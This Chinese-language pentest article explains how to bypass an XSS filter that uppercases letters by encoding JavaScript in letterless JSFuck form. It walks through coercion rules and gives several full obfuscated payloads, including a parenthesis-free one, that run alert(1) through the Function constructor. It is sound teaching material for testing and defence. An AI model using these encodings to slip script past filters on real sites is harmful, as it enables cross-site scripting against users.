作者: 天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/mjqks20xZSV9NwgeB9Q1fw

一、前言

在一次XSS測試中,往可控的參數中輸入XSS Payload,發現目標服務把所有字母都轉成了大寫,假如我輸入alert(1),會被轉成ALERT(1),除此之外并沒有其他限制,這時我了解到JavaScript中可以執行無字母的語句,從而可以繞過這種限制來執行XSS Payload

二、JS基礎

先執行兩段JS代碼看下

([][[]]+[])[+!+[]]+([]+{})[+!+[]+!+[]]
([][[]]+[])[+!!~+!{}]+({}+{})[+!!{}+!!{}]

兩段js代碼都輸出了字符串"nb",下面來分析下原因.

JS運算符的優先級

下面的表將所有運算符按照優先級的不同從高(20)到低(1)排列。

優先級 運算類型 關聯性 運算符
20 圓括號 n/a ( … )
19 成員訪問 從左到右 … . …
19 需計算的成員訪問 從左到右 … [ … ]
19 new (帶參數列表) n/a new … ( … )
19 函數調用 從左到右 … ( … )
19 可選鏈(Optional chaining) 從左到右 ?.
18 new (無參數列表) 從右到左 new …
17 后置遞增(運算符在后) n/a … ++
17 后置遞減(運算符在后) n/a … --
16 邏輯非 從右到左 ! …
16 按位非 從右到左 ~ …
16 一元加法 從右到左 + …
16 一元減法 從右到左 - …
16 前置遞增 從右到左 ++ …
16 前置遞減 從右到左 -- …
16 typeof 從右到左 typeof …
16 void 從右到左 void …
16 delete 從右到左 delete …
16 await 從右到左 await …
15 從右到左 … ** …
14 乘法 從左到右 … * …
14 除法 從左到右 … / …
14 取模 從左到右 … % …
13 加法 從左到右 … + …
13 減法 從左到右 … - …
12 按位左移 從左到右 … << …
12 按位右移 從左到右 … >> …
12 無符號右移 從左到右 … >>> …
11 小于 從左到右 … < …
11 小于等于 從左到右 … <= …
11 大于 從左到右 … > …
11 大于等于 從左到右 … >= …
11 in 從左到右 … in …
11 instanceof 從左到右 … instanceof …
10 等號 從左到右 … == …
10 非等號 從左到右 … != …
10 全等號 從左到右 … === …
10 非全等號 從左到右 … !== …
9 按位與 從左到右 … & …
8 按位異或 從左到右 … ^ …
7 按位或 從左到右 …|...
6 邏輯與 從左到右 … && …
5 邏輯或 從左到右 …||...
4 條件運算符 從右到左 … ? … : …
3 賦值 從右到左 … = …
2 yield* 從右到左 yield* …
1 展開運算符 n/a ... …
0 逗號 從左到右 … , …
以這個優先級對JS代碼([][[]]+[])[+!+[]]+([]+{})[+!+[]+!+[]]來進行分解

先來看第一個分解的JS([][[]]+[]), 在()內[]的優先級高,會先處理,控制臺執行看一下

JS類型轉換

從分解的第一段js可以看到輸出了字符串"undefined",這里就涉及到類型轉換。在JS中當操作符兩邊的操作數類型不一致或者不是原始類型,就需要類型轉換。JS有5種原始類型,UndefinedNullBooleanNumberString

  • 乘號、除號/、減號-,肯定是做數學運算,就會轉換成Number類型的。

  • 加號+,有可能是字符串拼接,也可能是數學運算,所以可能轉化成Number或String。

  • 符號!,表示取反,會轉換成Boolean類型。

  • 符號~,把操作數轉成Number類型,取負運算在減1。

  • 一元運算加法、減法,都會轉成Number類型。

在看下非原始類型轉換規則

ToPrimitive(input, PreferredType?) 可選參數PreferredType是Number或者是String。返回值為任何原始值。如果PreferredType是Number,執行順序如下:

  1. 如果input是原始值,直接返回這個值。

  2. 否則,如果input是對象,調用input.valueOf(),如果結果是原始值,返回結果。

  3. 否則,調用input.toString()。如果結果是原始值,返回結果。

  4. 否則,拋出TypeError。

如果轉換的類型是String,2和3會交換執行,即先執行toString()方法。

ToNumber 運算符根據下表將其參數轉換為數值類型的值

輸入類型 結果
undefined NaN
Null +0
Boolean 如果參數是 true,結果為 1。如果參數是 false,此結果為 +0
Number 不轉換
String "" 轉換成 0,"123"轉換成"123",無法解析的轉換成NaN
Object 調用ToPrimitive(input, Number)

ToBoolean 運算符根據下表將其參數轉換為布爾值類型的值

輸入類型 結果
undefined false
Null false
Boolean 不轉換
Number 如果參數是 +0, -0, 或 NaN,結果為 false,否則結果為 true。
String 如果參數參數是空字符串(其長度為零),結果為 false,否則結果為 true。
Object true

ToString 運算符根據下表將其參數轉換為字符串類型的值

輸入類型 結果
undefined "undefined"
Null "null"
Boolean 如果參數是 true,那么結果為 "true"。 如果參數是 false,那么結果為 "false"。
String 不轉換
Number 數字轉成字符串 例如 123轉成"123"
Object 調用ToPrimitive(input, String)

分解步驟

第一段JS([][[]]+[])根據優先級會先執行[],[]會定義一個空數組,[[]]會定義一個二維數組,那么[][[]]就是在一個空數組里面去尋找下標是一個非數字的值,肯定會返回undefined。到這可以分解成undefined+[],因為兩把的操作數類型不一致,這里會調用ToPrimitive來進行轉換

undefined根據上面的規則可以得知會轉換成字符串"undefined",這時就是執行"undefined"+"",結果就是"undefined"字符串。

第二段JS[+!+[]],會先執行里面的[]會定義一個空數組, 因為一元運算的原因會從右到左,那么+[]就會調用ToNumber,因為[]Object類型所以會調用ToPrimitive,而[].toString()會返回""字符串,此時會執行+"",此時""會使用ToNumber進行轉換,結果會是0。后面接著會用!進行取反,因為0不是Boolean類型,會調用ToBoolean進行類型轉換,會轉成false,對false取反會得到true,接著執行+true,會用ToNumbertrue進行類型轉換,會得到1,那么最終結果就是[1]

第三段JS([]+{}),[]通過ToPrimitive會得到""字符串,{}對象通過ToPrimitive會得到"[object Object]"字符串。

第四段JS[+!+[]+!+[]],根據優先級先執行[],+[]得到0,!0得到true,+true得到數字1,1+1則等于2,最終結果是[2]

最終把這4小段js代碼結果拼接起來看下,"undefined"[1]+"[object Object]"[2]。執行就會得到字符串"nb"

三、分析JSFuck

JSFuck使用六個不同的字符()[]+!來編寫和執行任意JS代碼,在JS基礎中講述了如何通過幾個字符來生成任意的字符串,JsFuck不僅只是生成字符串,還可以執行任意JS代碼。

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][[]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[!+[]+!+[]]]+[+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]])()

在控制臺執行上面的JS,瀏覽器會彈出一個對話框內容是1。

經過一步步拆解,最后執行的JS代碼是[]["fill"]["constructor"]("alert(1)")(),那這段代碼為啥會執行alert(1)呢,通過控制臺分解看下。

[]["fill"]獲取數組的fill方法。在JS中每個函數實際上都是Function 對象,所以能[]["fill"]["constructor"]這樣去獲取fill的構造函數,換一個其它的函數也可以的比如popmap等等。執行[]["fill"]["constructor"]("alert(1)")()相當于執行了Function('alert(1)')() ,在Function()構造函數中,最后一個實參所表示的文本是函數體,它可以包含任意的JS語句,使用()調用時所以會執行alert(1),而不是字符串"alert(1)"

四、去掉括號

在前面的例子中都用到了()符號,用來進行分割語法,這里在看一個不用()的例子。

[][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]][[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[[]+{}][+[]][+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[![]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[!![]+[]][+[]][+!+[]]+[[][[]]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][!+[]+!+[]+!+[]]+[!![]+[]][+[]][+[]]+[[]+{}][+[]][+!+[]]+[!![]+[]][+[]][+!+[]]]`$${[!{}+[]][+[]][+!+[]]+[!{}+[]][+[]][+!+[]+!+[]]+[!{}+[]][+[]][+!+[]+!+[]+!+[]+!+[]]+[!![]+[]][+[]][+!+[]]+[!![]+[]][+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]][+[]]+[[][[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[[][[]]+[]][+[]][!+[]+!+[]]]+[]][+[]][+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]}$```

最后分解成這樣的

[]["constructor"]["constructor"]`$${['false'][0][1]+['false'][0][2]+['false'][0][4]+['true'][0][1]+['true'][0][0]+["function find() { [native code] }"][0][13]+1+["function find() { [native code] }"][0][14]}$```

可以看到Function這里用符號替換括號。alert(1)這里的括號獲取方式是["function find() { [native code] }"][0][13],這里找了find函數然后轉成字符串賦值在數組里面,獲取這個字符串的過程是[[]['find']['constructor'].toString()],然后從數組里面取出來字符串,在截取下標位置是13、14,對應(和)符號。$符號是為了定義函數的參數,不加這個語法在解析的時候會報錯。

有括號執行alert(1)字符串長度是976,沒有括號字符長度是1289。前面說過目標服務只是把小寫字母轉成了大寫,大寫字母和數字還是可以正常使用的,可以使用數字就不用一個個的加了,可以使用大寫字母可以把重復出現的字母定義成變量,這樣就不用每次去轉換了。

把要出現的字符都集中在一個變量里面

X=[![]]+!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[];

然后直接取字符串的下標

[][X[0]+X[19]+X[2]+X[2]][X[12]+X[15]+X[11]+X[3]+X[5]+X[6]+X[7]+X[12]+X[5]+X[15]+X[6]](X[1]+X[2]+X[4]+X[6]+X[5]+'('+1+')')()

執行的時候直接合成一行,整個字符的長度是226

X=[![]]+!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[];[][X[0]+X[19]+X[2]+X[2]][X[12]+X[15]+X[11]+X[3]+X[5]+X[6]+X[7]+X[12]+X[5]+X[15]+X[6]](X[1]+X[2]+X[4]+X[6]+X[5]+'('+1+')')()

瀏覽器會成功執行alert(1)

五、總結

在做測試的時候,首先可以確定下對哪些字符進行了過濾,然后再找其它的方法去替換過濾的字符,比如用`符號替換括號,用.join替換+號等等。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1244/